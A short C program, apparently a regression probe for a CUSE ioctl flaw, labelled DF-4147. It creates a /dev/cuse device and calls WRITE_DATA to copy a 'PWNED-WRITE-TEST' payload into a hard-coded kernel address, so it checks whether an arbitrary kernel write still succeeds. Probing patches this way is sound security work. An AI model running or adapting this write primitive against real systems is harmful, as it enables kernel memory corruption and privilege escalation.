DF-4147 / wprobe.c
/* DF-4147 write-side probe: WRITE_DATA to a kernel address must fail * with EFAULT on the patched kernel (returned 0 = arbitrary write works). */ #include <sys/ioccom.h> #include <sys/wait.h> #include <stdint.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <unistd.h> struct cuse_dev; struct cuse_data_chunk { uintptr_t local_ptr, peer_ptr; unsigned long length; }; struct cuse_command { struct cuse_dev *dev; unsigned long fflags; uintptr_t per_file_handle, data_pointer; unsigned long argument, command; }; struct cuse_create_dev { struct cuse_dev *dev; uid_t u; gid_t g; int permissions; char devname[80]; }; #define CUSE_IOCTL_GET_COMMAND _IOR('C', 0, struct cuse_command) #define CUSE_IOCTL_WRITE_DATA _IOW('C', 1, struct cuse_data_chunk) #define CUSE_IOCTL_SYNC_COMMAND _IOW('C', 3, int) #define CUSE_IOCTL_CREATE_DEV _IOW('C', 8, struct cuse_create_dev) int main(void) { int fd = open("/dev/cuse", O_RDWR); struct cuse_create_dev cd; struct cuse_command cmd; char payload[16] = "PWNED-WRITE-TEST"; struct cuse_data_chunk ck = { (uintptr_t)payload, 0xffffffff81144960UL, 15 }; int rc, rv = -7, st; pid_t p; memset(&cd, 0, sizeof(cd)); strlcpy(cd.devname, "wp1", sizeof(cd.devname)); cd.permissions = 0666; if (ioctl(fd, CUSE_IOCTL_CREATE_DEV, &cd)) { printf("create: %s\n", strerror(errno)); return 1; } p = fork(); if (p == 0) { int c = -1, i; close(fd); setgid(65534); setuid(65534); for (i = 0; i < 300; i++) { c = open("/dev/wp1", O_RDWR); if (c >= 0) break; if (errno != ENOENT) break; usleep(1000); } _exit(c >= 0 ? 0 : 9); } if (ioctl(fd, CUSE_IOCTL_GET_COMMAND, &cmd)) { printf("getcmd: %s\n", strerror(errno)); return 1; } printf("cmd=%lu\n", cmd.command); rc = ioctl(fd, CUSE_IOCTL_WRITE_DATA, &ck); printf("WRITE_DATA to kernel 0xffffffff81144960 -> rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv); wait(&st); printf("child st=%d\n", WEXITSTATUS(st)); return (rc != 0); } |